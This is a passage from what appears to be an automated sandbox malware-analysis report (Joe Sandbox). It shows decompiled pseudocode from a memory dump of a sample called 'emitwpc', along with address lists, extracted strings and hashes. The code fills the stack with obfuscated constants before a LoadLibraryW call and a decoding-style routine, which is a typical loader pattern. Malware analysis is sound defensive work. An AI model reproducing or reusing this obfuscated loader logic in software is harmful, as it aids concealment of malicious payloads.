				 *((intOrPtr*)(_t441 - 0x15c)) = 0xde5b196a;
				 *((intOrPtr*)(_t441 - 0x158)) = 0xfca044c2;
				 *((intOrPtr*)(_t441 - 0x154)) = 0xf0b93137;
				 *((intOrPtr*)(_t441 - 0x150)) = 0xf83bb634;
				 *((intOrPtr*)(_t441 - 0x14c)) = 0x774efce;
				 *((intOrPtr*)(_t441 - 0x148)) = 0xe816fa75;
				 *((intOrPtr*)(_t441 - 0x144)) = 0xefd79a3d;
				 *((intOrPtr*)(_t441 - 0x140)) = 0xc5feab3d;
				 *((intOrPtr*)(_t441 - 0x13c)) = 0x1cbe874c;
				 *((intOrPtr*)(_t441 - 0x138)) = 0x556e34cd;
				 *((intOrPtr*)(_t441 - 0x134)) = 0x4b99c924;
				 *((intOrPtr*)(_t441 - 0x130)) = 0x7e2c3c7e;
				 *((intOrPtr*)(_t441 - 0x12c)) = 0xc83e3141;
				 *((intOrPtr*)(_t441 - 0x128)) = 0x61a13cdb;
				 *((intOrPtr*)(_t441 - 0x124)) = 0xbea71228;
				 *((intOrPtr*)(_t441 - 0x120)) = 0x5ae02b8e;
				 *((intOrPtr*)(_t441 - 0x11c)) = 0x14c96d13;
				 *((intOrPtr*)(_t441 - 0x118)) = 0x953bc43b;
				 *((intOrPtr*)(_t441 - 0x114)) = 0x3b79e650;
				 *((intOrPtr*)(_t441 - 0x110)) = 0xbb3160e9;
				 *((intOrPtr*)(_t441 - 0x10c)) = 0x1e08f3b3;
				 *((intOrPtr*)(_t441 - 0x108)) = 0x6c47cea2;
				 *((intOrPtr*)(_t441 - 0x104)) = 0x4cd2aaba;
				 *((intOrPtr*)(_t441 - 0x100)) = 0x3edc34e8;
				 *((intOrPtr*)(_t441 - 0xfc)) = 0xb35598cb;
				 *((intOrPtr*)(_t441 - 0xf8)) = 0xde898aa;
				 *((intOrPtr*)(_t441 - 0xf4)) = 0xff499b27;
				 *((intOrPtr*)(_t441 - 0xf0)) = 0xf56b4ea6;
				 *((intOrPtr*)(_t441 - 0xec)) = 0x9fd99e0f;
				 *((intOrPtr*)(_t441 - 0xe8)) = 0x85510475;
				 *((intOrPtr*)(_t441 - 0xe4)) = 0x529cfc96;
				 *((intOrPtr*)(_t441 - 0xe0)) = 0x5c803e81;
				 *((intOrPtr*)(_t441 - 0xdc)) = 0x7be8dfdb;
				 *((intOrPtr*)(_t441 - 0xd8)) = 0x10cefeee;
				 *((intOrPtr*)(_t441 - 0xd4)) = 0xe07b5cec;
				 *((intOrPtr*)(_t441 - 0xd0)) = 0xe963df59;
				 *((intOrPtr*)(_t441 - 0xcc)) = 0x549915a0;
				 *((intOrPtr*)(_t441 - 0xc8)) = 0x167afa2f;
				 *((intOrPtr*)(_t441 - 0xc4)) = 0x31f36a4;
				 *((intOrPtr*)(_t441 - 0xc0)) = 0x554dd6ff;
				 *((intOrPtr*)(_t441 - 0xbc)) = 0x364bf670;
				 *((intOrPtr*)(_t441 - 0xb8)) = 0xbd7ac96d;
				 *((intOrPtr*)(_t441 - 0xb4)) = 0x40df9ae4;
				 *((intOrPtr*)(_t441 - 0xb0)) = 0xfbd29e91;
				 *((intOrPtr*)(_t441 - 0xac)) = 0x34d242c8;
				 *((intOrPtr*)(_t441 - 0xa8)) = 0x221b5e15;
				 *((intOrPtr*)(_t441 - 0xa4)) = 0x584f4138;
				 *((intOrPtr*)(_t441 - 0xa0)) = 0xd3da40ea;
				 *((intOrPtr*)(_t441 - 0x9c)) = 0xfdb2a0a3;
				 *((intOrPtr*)(_t441 - 0x98)) = 0xe7e1c994;
				 *((intOrPtr*)(_t441 - 0x94)) = 0xef912419;
				 *((intOrPtr*)(_t441 - 0x90)) = 0xe26be229;
				 *((intOrPtr*)(_t441 - 0x8c)) = 0x5b173771;
				 *((intOrPtr*)(_t441 - 0x88)) = 0xe1b5b166;
				 *((intOrPtr*)(_t441 - 0x84)) = 0xc854bb1d;
				 *((intOrPtr*)(_t441 - 0x80)) = 0xab3c32d3;
				 *((intOrPtr*)(_t441 - 0x7c)) = 0xa539921e;
				 *((intOrPtr*)(_t441 - 0x78)) = 0x31ddfb72;
				 *((intOrPtr*)(_t441 - 0x74)) = 0x2574e026;
				 *((intOrPtr*)(_t441 - 0x70)) = 0xe9907fdc;
				 *((intOrPtr*)(_t441 - 0x6c)) = 0x82f21263;
				 *((intOrPtr*)(_t441 - 0x68)) = 0x151a661f;
				 *((intOrPtr*)(_t441 - 0x64)) = 0x9770157e;
				 *((intOrPtr*)(_t441 - 0x60)) = 0x6cdbd348;
				 *((intOrPtr*)(_t441 - 0x5c)) = 0x85ccdc27;
				 *((intOrPtr*)(_t441 - 0x58)) = 0x5294165a;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t441 - 0x54)) = 0x3b11416e;
				 *((intOrPtr*)(_t441 - 0x50)) = 0xe8ef845f;
				 *((intOrPtr*)(_t441 - 0x4c)) = 0x552aa571;
				 *((intOrPtr*)(_t441 - 0x48)) = 0xecffd9cd;
				 *((intOrPtr*)(_t441 - 0x44)) = 0x1d62b09d;
				 *((intOrPtr*)(_t441 - 0x40)) = 0x82654e0b;
				 *((intOrPtr*)(_t441 - 0x3c)) = 0x849737f7;
				 *((intOrPtr*)(_t441 - 0x38)) = 0xcc39b929;
				 *((intOrPtr*)(_t441 - 0x34)) = 0x3ced6e6a;
				 *((intOrPtr*)(_t441 - 0x30)) = 0x120ff926;
				 *((intOrPtr*)(_t441 - 0x2c)) = 0x4d2150b4;
				 *((intOrPtr*)(_t441 - 0x28)) = 0x88f6cd53;
				 *((intOrPtr*)(_t441 - 0x24)) = 0x8d3094b8;
				 *((intOrPtr*)(_t441 - 0x20)) = 0xc39d29a6;
				 *((intOrPtr*)(_t441 - 0x1c)) = 0xdba56365;
				 *((intOrPtr*)(_t441 - 0x18)) = 0x90071a83;
				 *((intOrPtr*)(_t441 - 0x14)) = 0xb48cfda0;
				 *((intOrPtr*)(_t441 - 0x10)) = 0x20950034;
				 *((intOrPtr*)(_t441 - 0xc)) = 0x37a8b303;
				 *((intOrPtr*)(_t441 - 8)) = 0x8b758a77;
				 *((intOrPtr*)(_t441 - 4)) = 0xa44f24cd;
				_t439 = L002A1D10(0x2b0f20, 0x1a8, __edi, __esi);
				 *0x2b4c88 = LoadLibraryW(_t427);
				L002A1DB0(_t439);
				_t434 =  *0x2b4c88; // 0x763d0000
				return E002A1570(_t431, _t434, _t441 - 0x6a4, _t439, 0x1a9, 0x71cd072d, 0x2b26b0);
			}

0x002a6e3a
0x002a6e3a
0x002a6e44
0x002a6e4e
0x002a6e58
0x002a6e62
0x002a6e6c
0x002a6e76
0x002a6e80
0x002a6e8a
0x002a6e94
0x002a6e9e
0x002a6ea8
0x002a6eb2
0x002a6ebc
0x002a6ec6
0x002a6ed0
0x002a6eda
0x002a6ee4
0x002a6eee
0x002a6ef8
0x002a6f02
0x002a6f0c
0x002a6f16
0x002a6f20
0x002a6f2a
0x002a6f34
0x002a6f3e
0x002a6f48
0x002a6f52
0x002a6f5c
0x002a6f66
0x002a6f70
0x002a6f7a
0x002a6f84
0x002a6f8e
0x002a6f98
0x002a6fa2
0x002a6fac
0x002a6fb6
0x002a6fc0
0x002a6fca
0x002a6fd4
0x002a6fde
0x002a6fe8
0x002a6ff2
0x002a6ffc
0x002a7006
0x002a7010
0x002a701a
0x002a7024
0x002a702e
0x002a7038
0x002a7042
0x002a704c
0x002a7056
0x002a7060
0x002a706a
0x002a7074
0x002a707e
0x002a7088
0x002a7092
0x002a709c
0x002a70a6
0x002a70b0
0x002a70ba
0x002a70c4
0x002a70ce
0x002a70d8
0x002a70e2
0x002a70ec
0x002a70f6
0x002a7100
0x002a710a
0x002a7114
0x002a711e
0x002a7128
0x002a7132
0x002a713c
0x002a7146
0x002a7150
0x002a715a
0x002a7164
0x002a716e
0x002a7178
0x002a7182
0x002a718c
0x002a7196
0x002a71a0
0x002a71aa
0x002a71b4
0x002a71be
0x002a71c8
0x002a71d2
0x002a71dc
0x002a71e6
0x002a71f0
0x002a71fa
0x002a7204
0x002a720e
0x002a7218
0x002a7222
0x002a722c
0x002a7236
0x002a7240
0x002a724a
0x002a7254
0x002a725e
0x002a7268
0x002a7272
0x002a727c
0x002a7286
0x002a7290
0x002a729a
0x002a72a4
0x002a72ae
0x002a72b8
0x002a72c2
0x002a72cc
0x002a72d6
0x002a72e0
0x002a72ea
0x002a72f4
0x002a72fe
0x002a7308
0x002a7312
0x002a731c
0x002a7326
0x002a7330
0x002a733a
0x002a7344
0x002a734e
0x002a7358
0x002a7362
0x002a736c
0x002a7376
0x002a7380
0x002a738a
0x002a7394
0x002a739e
0x002a73a8
0x002a73b2
0x002a73bc
0x002a73c6
0x002a73d0
0x002a73da
0x002a73e4
0x002a73ee
0x002a73f8
0x002a7402
0x002a740c
0x002a7416
0x002a7420
0x002a742a
0x002a7434
0x002a743e
0x002a7448
0x002a7452
0x002a745c
0x002a7466
0x002a7470
0x002a747a
0x002a7484
0x002a748e
0x002a7498
0x002a74a2
0x002a74ac
0x002a74b6
0x002a74c0
0x002a74ca
0x002a74d4
0x002a74de
0x002a74e8
0x002a74f2
0x002a74fc
0x002a7506
0x002a7510
0x002a751a
0x002a7524
0x002a752e
0x002a7538
0x002a7542
0x002a754c
0x002a7556
0x002a7560
0x002a756a
0x002a7574
0x002a757e
0x002a7588
0x002a7592
0x002a759c
0x002a75a6
0x002a75b0
0x002a75ba
0x002a75c4
0x002a75ce
0x002a75d8
0x002a75e2
0x002a75ec
0x002a75f6
0x002a7600
0x002a760a
0x002a7614
0x002a761e
0x002a7628
0x002a7632
0x002a763c
0x002a7646
0x002a7650
0x002a765a
0x002a7664
0x002a766e
0x002a7678
0x002a7682
0x002a768c
0x002a7696
0x002a76a0
0x002a76aa
0x002a76b4
0x002a76be
0x002a76c8
0x002a76d2
0x002a76dc
0x002a76e6
0x002a76f0
0x002a76fa
0x002a7704
0x002a770e
0x002a7718
0x002a7722
0x002a772c
0x002a7736
0x002a7740
0x002a774a
0x002a7754
0x002a775e
0x002a7768
0x002a7772
0x002a777c
0x002a7786
0x002a7790
0x002a779a
0x002a77a4
0x002a77ae
0x002a77b8
0x002a77c2
0x002a77cc
0x002a77d6
0x002a77e0
0x002a77ea
0x002a77f4
0x002a77fe
0x002a7808
0x002a7812
0x002a781c
0x002a7826
0x002a7830
0x002a783a
0x002a7844
0x002a784e
0x002a7858
0x002a7862
0x002a786c
0x002a7876
0x002a7880
0x002a788a
0x002a7894
0x002a789e
0x002a78a8
0x002a78b2
0x002a78bc
0x002a78c6
0x002a78d0
0x002a78da
0x002a78e4
0x002a78ee
0x002a78f8
0x002a7902
0x002a790c
0x002a7916
0x002a7920
0x002a792a
0x002a7934
0x002a793e
0x002a7948
0x002a7952
0x002a795c
0x002a7966
0x002a7970
0x002a797a
0x002a7984
0x002a798e
0x002a7998
0x002a79a2
0x002a79ac
0x002a79b6
0x002a79c0
0x002a79ca
0x002a79d4
0x002a79de
0x002a79e8
0x002a79f2
0x002a79fc
0x002a7a06
0x002a7a10
0x002a7a1a
0x002a7a24
0x002a7a2e
0x002a7a38
0x002a7a42
0x002a7a4c
0x002a7a56
0x002a7a60
0x002a7a6a
0x002a7a74
0x002a7a7e
0x002a7a88
0x002a7a92
0x002a7a9c
0x002a7aa6
0x002a7ab0
0x002a7aba
0x002a7ac4
0x002a7ace
0x002a7ad8
0x002a7ae2
0x002a7aec
0x002a7af6
0x002a7b00
0x002a7b0a
0x002a7b14
0x002a7b1e
0x002a7b28
0x002a7b32
0x002a7b3c
0x002a7b46
0x002a7b50
0x002a7b5a
0x002a7b64
0x002a7b6e
0x002a7b78
0x002a7b82
0x002a7b8c
0x002a7b96
0x002a7ba0
0x002a7baa
0x002a7bb4
0x002a7bbe
0x002a7bc8
0x002a7bd2
0x002a7bdc
0x002a7be6
0x002a7bf0
0x002a7bfa
0x002a7c04
0x002a7c0e
0x002a7c18
0x002a7c22
0x002a7c2c
0x002a7c36
0x002a7c40
0x002a7c4a
0x002a7c54
0x002a7c5e
0x002a7c68
0x002a7c72
0x002a7c7c
0x002a7c86
0x002a7c90
0x002a7c9a
0x002a7ca4
0x002a7cae
0x002a7cb8
0x002a7cc2
0x002a7ccc
0x002a7cd6
0x002a7ce0
0x002a7cea
0x002a7cf4
0x002a7cfe
0x002a7d08
0x002a7d12
0x002a7d1c
0x002a7d26
0x002a7d30
0x002a7d3a
0x002a7d44
0x002a7d4e
0x002a7d58
0x002a7d62
0x002a7d6c
0x002a7d76
0x002a7d80
0x002a7d8a
0x002a7d94
0x002a7d9b
0x002a7da2
0x002a7da9
0x002a7db0
0x002a7db7
0x002a7dbe
0x002a7dc5
0x002a7dcc
0x002a7dd3
0x002a7dda
0x002a7de1
0x002a7deb
0x002a7df7
0x002a7dfe
0x002a7e05
0x002a7e0c
0x002a7e13
0x002a7e1a
0x002a7e21
0x002a7e28
0x002a7e2f
0x002a7e36
0x002a7e3d
0x002a7e44
0x002a7e4b
0x002a7e52
0x002a7e59
0x002a7e60
0x002a7e67
0x002a7e6e
0x002a7e75
0x002a7e7c
0x002a7e8b
0x002a7e96
0x002a7e9b
0x002a7ea0
0x002a7ec7

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002A7E8E

Strings

NqnU, xrefs: 002A739E
~z, xrefs: 002A7308
8AOX, xrefs: 002A7D3A
dlm(, xrefs: 002A7682
Py;, xrefs: 002A7C22
WC-, xrefs: 002A7128
5Ws, xrefs: 002A7664
ANDr, xrefs: 002A7A4C
;DVV, xrefs: 002A77AE
jn<, xrefs: 002A7E28
rrA, xrefs: 002A77FE
$"Ir, xrefs: 002A6E8A
Kk3, xrefs: 002A79E8
&t%, xrefs: 002A7DA9
TK%C, xrefs: 002A76F0
6vG, xrefs: 002A7A56
)k, xrefs: 002A7D6C
!X:, xrefs: 002A7A92
6k-, xrefs: 002A7240
p*@[, xrefs: 002A768C
4, xrefs: 002A7E67
Dg0, xrefs: 002A7420
~<,~, xrefs: 002A7BDC
0Uy, xrefs: 002A7344
iJC, xrefs: 002A7970
W )m, xrefs: 002A793E
\{, xrefs: 002A7CC2

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: !X:$$"Ir$&t%$)k$0Uy$4$5Ws$6k-$6vG$8AOX$;DVV$ANDr$Dg0$Kk3$NqnU$Py;$TK%C$W )m$WC-$dlm($iJC$jn<$p*@[$~<,~$~z$\{$rrA
API String ID: 1029625771-1061294748
Opcode ID: ef4891bc2d9aaad29873b0d1dd7b1721bd6fc1fb07cb49395c78e49dedce3d96
Instruction ID: 37f4a07afcbbc4eb6dd4321fbd2c2811d49a441789c6fa7d44d1519df09b2c33
Opcode Fuzzy Hash: ef4891bc2d9aaad29873b0d1dd7b1721bd6fc1fb07cb49395c78e49dedce3d96
Instruction Fuzzy Hash: EA72B6F48567698FDB618F429E857CEBA74BB51304F6086C8C19D3B214CB714B86CF8A

Uniqueness

Uniqueness Score: 100.00%

Function 002A902A, Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 225
libraryUNIQUE

C-Code - Quality: 99%

			E002A902A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t209;
				intOrPtr _t212;
				void* _t219;

				_t209 = __ebx;
				 *((intOrPtr*)(_t219 - 0x32c)) = 0x7fbd219b;
				 *((intOrPtr*)(_t219 - 0x328)) = 0xa2efafa1;
				 *((intOrPtr*)(_t219 - 0x324)) = 0xe80e0f4c;
				 *((intOrPtr*)(_t219 - 0x320)) = 0x80f9ec3b;
				 *((intOrPtr*)(_t219 - 0x31c)) = 0x8e1d8781;
				 *((intOrPtr*)(_t219 - 0x318)) = 0x6261bb12;
				 *((intOrPtr*)(_t219 - 0x314)) = 0xffe71370;
				 *((intOrPtr*)(_t219 - 0x310)) = 0x7e4cc287;
				 *((intOrPtr*)(_t219 - 0x30c)) = 0x8a645edd;
				 *((intOrPtr*)(_t219 - 0x308)) = 0x588a73b6;
				 *((intOrPtr*)(_t219 - 0x304)) = 0x57aa5c54;
				 *((intOrPtr*)(_t219 - 0x300)) = 0xefd12e15;
				 *((intOrPtr*)(_t219 - 0x2fc)) = 0x1f212018;
				 *((intOrPtr*)(_t219 - 0x2f8)) = 0x8884ba6b;
				 *((intOrPtr*)(_t219 - 0x2f4)) = 0x669e1b3c;
				 *((intOrPtr*)(_t219 - 0x2f0)) = 0x354ae040;
				 *((intOrPtr*)(_t219 - 0x2ec)) = 0xc4f5d2c8;
				 *((intOrPtr*)(_t219 - 0x2e8)) = 0x10bee786;
				 *((intOrPtr*)(_t219 - 0x2e4)) = 0xeea8862e;
				 *((intOrPtr*)(_t219 - 0x2e0)) = 0x6bcdb172;
				 *((intOrPtr*)(_t219 - 0x2dc)) = 0xb5e6de05;
				 *((intOrPtr*)(_t219 - 0x2d8)) = 0xf0896307;
				 *((intOrPtr*)(_t219 - 0x2d4)) = 0xeb5229a2;
				 *((intOrPtr*)(_t219 - 0x2d0)) = 0x2b6d69b;
				 *((intOrPtr*)(_t219 - 0x2cc)) = 0x58beccc5;
				 *((intOrPtr*)(_t219 - 0x2c8)) = 0x35274529;
				 *((intOrPtr*)(_t219 - 0x2c4)) = 0x15753c3f;
				 *((intOrPtr*)(_t219 - 0x2c0)) = 0x9c18b986;
				 *((intOrPtr*)(_t219 - 0x2bc)) = 0x2201f5eb;
				 *((intOrPtr*)(_t219 - 0x2b8)) = 0x19713ab5;
				 *((intOrPtr*)(_t219 - 0x2b4)) = 0xb1c3168c;
				 *((intOrPtr*)(_t219 - 0x2b0)) = 0xf66bd0e9;
				 *((intOrPtr*)(_t219 - 0x2ac)) = 0x466959fa;
				 *((intOrPtr*)(_t219 - 0x2a8)) = 0xfcde918c;
				 *((intOrPtr*)(_t219 - 0x2a4)) = 0x714e0189;
				 *((intOrPtr*)(_t219 - 0x2a0)) = 0xf7ae070;
				 *((intOrPtr*)(_t219 - 0x29c)) = 0xd5bf4fe0;
				 *((intOrPtr*)(_t219 - 0x298)) = 0xa6b9c782;
				 *((intOrPtr*)(_t219 - 0x294)) = 0x8a555e4a;
				 *((intOrPtr*)(_t219 - 0x290)) = 0xb37719ce;
				 *((intOrPtr*)(_t219 - 0x28c)) = 0x578e021d;
				 *((intOrPtr*)(_t219 - 0x288)) = 0x70f1e354;
				 *((intOrPtr*)(_t219 - 0x284)) = 0xae470c52;
				 *((intOrPtr*)(_t219 - 0x280)) = 0x4085a5f5;
				 *((intOrPtr*)(_t219 - 0x27c)) = 0x2ba05970;
				 *((intOrPtr*)(_t219 - 0x278)) = 0xd8be2289;
				 *((intOrPtr*)(_t219 - 0x274)) = 0xc0b6aa2;
				 *((intOrPtr*)(_t219 - 0x270)) = 0xd3bd5838;
				 *((intOrPtr*)(_t219 - 0x26c)) = 0x316b6de7;
				 *((intOrPtr*)(_t219 - 0x268)) = 0xb5002781;
				 *((intOrPtr*)(_t219 - 0x264)) = 0x3aa9b064;
				 *((intOrPtr*)(_t219 - 0x260)) = 0x56fd49b7;
				 *((intOrPtr*)(_t219 - 0x25c)) = 0x1715f313;
				 *((intOrPtr*)(_t219 - 0x258)) = 0x713d7bcb;
				 *((intOrPtr*)(_t219 - 0x254)) = 0x30c933c5;
				 *((intOrPtr*)(_t219 - 0x250)) = 0xcc3ce868;
				 *((intOrPtr*)(_t219 - 0x24c)) = 0xdef80b51;
				 *((intOrPtr*)(_t219 - 0x248)) = 0x1cb482f0;
				 *((intOrPtr*)(_t219 - 0x244)) = 0xb75f074;
				 *((intOrPtr*)(_t219 - 0x240)) = 0xb012317e;
				 *((intOrPtr*)(_t219 - 0x23c)) = 0xde835a96;
				 *((intOrPtr*)(_t219 - 0x238)) = 0x94343df8;
				 *((intOrPtr*)(_t219 - 0x234)) = 0xb367eeeb;
				 *((intOrPtr*)(_t219 - 0x230)) = 0x750a07ee;
				 *((intOrPtr*)(_t219 - 0x22c)) = 0xd830a629;
				 *((intOrPtr*)(_t219 - 0x228)) = 0xac831739;
				 *((intOrPtr*)(_t219 - 0x224)) = 0x6e5fdc60;
				 *((intOrPtr*)(_t219 - 0x220)) = 0x124c3112;
				 *((intOrPtr*)(_t219 - 0x21c)) = 0x212cd402;
				 *((intOrPtr*)(_t219 - 0x218)) = 0x6e12da54;
				 *((intOrPtr*)(_t219 - 0x214)) = 0xd1435837;
				 *((intOrPtr*)(_t219 - 0x210)) = 0xaa26ab84;
				 *((intOrPtr*)(_t219 - 0x20c)) = 0x90b20834;
				 *((intOrPtr*)(_t219 - 0x208)) = 0xd17da45b;
				 *((intOrPtr*)(_t219 - 0x204)) = 0xfdf40c0d;
				 *((intOrPtr*)(_t219 - 0x200)) = 0x32db272e;
				 *((intOrPtr*)(_t219 - 0x1fc)) = 0xb16b2126;
				 *((intOrPtr*)(_t219 - 0x1f8)) = 0x13bcc1e5;
				 *((intOrPtr*)(_t219 - 0x1f4)) = 0x47d24300;
				 *((intOrPtr*)(_t219 - 0x1f0)) = 0xa0b0c2b9;
				 *((intOrPtr*)(_t219 - 0x1ec)) = 0x5b0d9e2e;
				 *((intOrPtr*)(_t219 - 0x1e8)) = 0x32becc23;
				 *((intOrPtr*)(_t219 - 0x1e4)) = 0x3f193493;
				 *((intOrPtr*)(_t219 - 0x1e0)) = 0xa2670868;
				 *((intOrPtr*)(_t219 - 0x1dc)) = 0x7eb062fc;
				 *((intOrPtr*)(_t219 - 0x1d8)) = 0x5ad55ddb;
				 *((intOrPtr*)(_t219 - 0x1d4)) = 0x5c9b533a;
				 *((intOrPtr*)(_t219 - 0x1d0)) = 0xbe4dc9ab;
				 *((intOrPtr*)(_t219 - 0x1cc)) = 0xc27ae1cf;
				 *((intOrPtr*)(_t219 - 0x1c8)) = 0x5bb1bf3c;
				 *((intOrPtr*)(_t219 - 0x1c4)) = 0x41464acd;
				 *((intOrPtr*)(_t219 - 0x1c0)) = 0x9a088a35;
				 *((intOrPtr*)(_t219 - 0x1bc)) = 0x996bda46;
				 *((intOrPtr*)(_t219 - 0x1b8)) = 0x3a559602;
				 *((intOrPtr*)(_t219 - 0x1b4)) = 0x4aa0f9d9;
				 *((intOrPtr*)(_t219 - 0x1b0)) = 0xf109c812;
				 *((intOrPtr*)(_t219 - 0x1ac)) = 0xb258589c;
				 *((intOrPtr*)(_t219 - 0x1a8)) = 0xf06a256f;
				 *((intOrPtr*)(_t219 - 0x1a4)) = 0xe5530535;
				 *((intOrPtr*)(_t219 - 0x1a0)) = 0x54f6c946;
				 *((intOrPtr*)(_t219 - 0x19c)) = 0x1ae47807;
				 *((intOrPtr*)(_t219 - 0x198)) = 0x7398483;
				 *((intOrPtr*)(_t219 - 0x194)) = 0x5f679ef8;
				 *((intOrPtr*)(_t219 - 0x190)) = 0xa231eaab;
				 *((intOrPtr*)(_t219 - 0x18c)) = 0x7e7a355e;
				 *((intOrPtr*)(_t219 - 0x188)) = 0x34e54a43;
				 *((intOrPtr*)(_t219 - 0x184)) = 0xbf413261;
				 *((intOrPtr*)(_t219 - 0x180)) = 0xc55b4bbd;
				 *((intOrPtr*)(_t219 - 0x17c)) = 0xdbccb5eb;
				 *((intOrPtr*)(_t219 - 0x178)) = 0x88dc8eec;
				 *((intOrPtr*)(_t219 - 0x174)) = 0x5b47b2d3;
				 *((intOrPtr*)(_t219 - 0x170)) = 0xff3689c;
				 *((intOrPtr*)(_t219 - 0x16c)) = 0x86c474b4;
				 *((intOrPtr*)(_t219 - 0x168)) = 0xa31e6d78;
				 *((intOrPtr*)(_t219 - 0x164)) = 0xf29d0511;
				 *((intOrPtr*)(_t219 - 0x160)) = 0xb17b3be;
				 *((intOrPtr*)(_t219 - 0x15c)) = 0x919acea5;
				 *((intOrPtr*)(_t219 - 0x158)) = 0xf86356aa;
				 *((intOrPtr*)(_t219 - 0x154)) = 0x52bb78cf;
				 *((intOrPtr*)(_t219 - 0x150)) = 0x3c04ab99;
				 *((intOrPtr*)(_t219 - 0x14c)) = 0x389059d2;
				 *((intOrPtr*)(_t219 - 0x148)) = 0x2d1ae5a3;
				 *((intOrPtr*)(_t219 - 0x144)) = 0x6bcf7eaa;
				 *((intOrPtr*)(_t219 - 0x140)) = 0xb406abeb;
				 *((intOrPtr*)(_t219 - 0x13c)) = 0x5c174f02;
				 *((intOrPtr*)(_t219 - 0x138)) = 0x771e2f46;
				 *((intOrPtr*)(_t219 - 0x134)) = 0x7ad6da9a;
				 *((intOrPtr*)(_t219 - 0x130)) = 0xc025ce9d;
				 *((intOrPtr*)(_t219 - 0x12c)) = 0x88eaaa22;
				 *((intOrPtr*)(_t219 - 0x128)) = 0xd362b468;
				 *((intOrPtr*)(_t219 - 0x124)) = 0x8a41db48;
				 *((intOrPtr*)(_t219 - 0x120)) = 0x5669a365;
				 *((intOrPtr*)(_t219 - 0x11c)) = 0x70a6196;
				 *((intOrPtr*)(_t219 - 0x118)) = 0xa24aa49b;
				 *((intOrPtr*)(_t219 - 0x114)) = 0x6dbf05c0;
				 *((intOrPtr*)(_t219 - 0x110)) = 0xcbe93580;
				 *((intOrPtr*)(_t219 - 0x10c)) = 0xd357b271;
				 *((intOrPtr*)(_t219 - 0x108)) = 0xd2ea199a;
				 *((intOrPtr*)(_t219 - 0x104)) = 0xf534a00d;
				 *((intOrPtr*)(_t219 - 0x100)) = 0x63c4b191;
				 *((intOrPtr*)(_t219 - 0xfc)) = 0x546fbd97;
				 *((intOrPtr*)(_t219 - 0xf8)) = 0x286142e7;
				 *((intOrPtr*)(_t219 - 0xf4)) = 0x69bbd620;
				 *((intOrPtr*)(_t219 - 0xf0)) = 0x2b120040;
				 *((intOrPtr*)(_t219 - 0xec)) = 0xc39cbd26;
				 *((intOrPtr*)(_t219 - 0xe8)) = 0xd9b7b159;
				 *((intOrPtr*)(_t219 - 0xe4)) = 0xb96f0dab;
				 *((intOrPtr*)(_t219 - 0xe0)) = 0xa38c23f3;
				 *((intOrPtr*)(_t219 - 0xdc)) = 0xd520c6f6;
				 *((intOrPtr*)(_t219 - 0xd8)) = 0xd8155d0f;
				 *((intOrPtr*)(_t219 - 0xd4)) = 0x2643375;
				 *((intOrPtr*)(_t219 - 0xd0)) = 0xbf52a948;
				 *((intOrPtr*)(_t219 - 0xcc)) = 0xa261a5fa;
				 *((intOrPtr*)(_t219 - 0xc8)) = 0x53d3e771;
				 *((intOrPtr*)(_t219 - 0xc4)) = 0x2fd537db;
				 *((intOrPtr*)(_t219 - 0xc0)) = 0xce3fa065;
				 *((intOrPtr*)(_t219 - 0xbc)) = 0x20058305;
				 *((intOrPtr*)(_t219 - 0xb8)) = 0x32f139;
				 *((intOrPtr*)(_t219 - 0xb4)) = 0x44e4236d;
				 *((intOrPtr*)(_t219 - 0xb0)) = 0x9254ab0f;
				 *((intOrPtr*)(_t219 - 0xac)) = 0x4f26c3f5;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t219 - 0xa8)) = 0x154b3386;
				 *((intOrPtr*)(_t219 - 0xa4)) = 0x99d1912b;
				 *((intOrPtr*)(_t219 - 0xa0)) = 0xa71eb4d;
				 *((intOrPtr*)(_t219 - 0x9c)) = 0xb62e1883;
				 *((intOrPtr*)(_t219 - 0x98)) = 0x18c31c18;
				 *((intOrPtr*)(_t219 - 0x94)) = 0x3d03d608;
				 *((intOrPtr*)(_t219 - 0x90)) = 0xafd39ba5;
				 *((intOrPtr*)(_t219 - 0x8c)) = 0x7d9da429;
				 *((intOrPtr*)(_t219 - 0x88)) = 0x4e76c485;
				 *((intOrPtr*)(_t219 - 0x84)) = 0x91c1d596;
				 *((intOrPtr*)(_t219 - 0x80)) = 0xcb3120a9;
				 *((intOrPtr*)(_t219 - 0x7c)) = 0xa105f41;
				 *((intOrPtr*)(_t219 - 0x78)) = 0xa8708e62;
				 *((intOrPtr*)(_t219 - 0x74)) = 0x1df00a02;
				 *((intOrPtr*)(_t219 - 0x70)) = 0xea6037a7;
				 *((intOrPtr*)(_t219 - 0x6c)) = 0x61d15294;
				 *((intOrPtr*)(_t219 - 0x68)) = 0x24f14a40;
				 *((intOrPtr*)(_t219 - 0x64)) = 0xff266bfc;
				 *((intOrPtr*)(_t219 - 0x60)) = 0x355310fd;
				 *((intOrPtr*)(_t219 - 0x5c)) = 0xc9441fea;
				 *((intOrPtr*)(_t219 - 0x58)) = 0xcada8584;
				 *((intOrPtr*)(_t219 - 0x54)) = 0x78312f37;
				 *((intOrPtr*)(_t219 - 0x50)) = 0xc3586c2c;
				 *((intOrPtr*)(_t219 - 0x4c)) = 0x8a518e36;
				 *((intOrPtr*)(_t219 - 0x48)) = 0xea973514;
				 *((intOrPtr*)(_t219 - 0x44)) = 0xf8cf530e;
				 *((intOrPtr*)(_t219 - 0x40)) = 0xc7be2918;
				 *((intOrPtr*)(_t219 - 0x3c)) = 0x208e4c28;
				 *((intOrPtr*)(_t219 - 0x38)) = 0x89cc77a3;
				 *((intOrPtr*)(_t219 - 0x34)) = 0xbb48c624;
				 *((intOrPtr*)(_t219 - 0x30)) = 0x494b7ba8;
				 *((intOrPtr*)(_t219 - 0x2c)) = 0xe681a771;
				 *((intOrPtr*)(_t219 - 0x28)) = 0xd0e3a5cf;
				 *((intOrPtr*)(_t219 - 0x24)) = 0x1e9b134d;
				 *((intOrPtr*)(_t219 - 0x20)) = 0x27ce49be;
				 *((intOrPtr*)(_t219 - 0x1c)) = 0x3b6b481a;
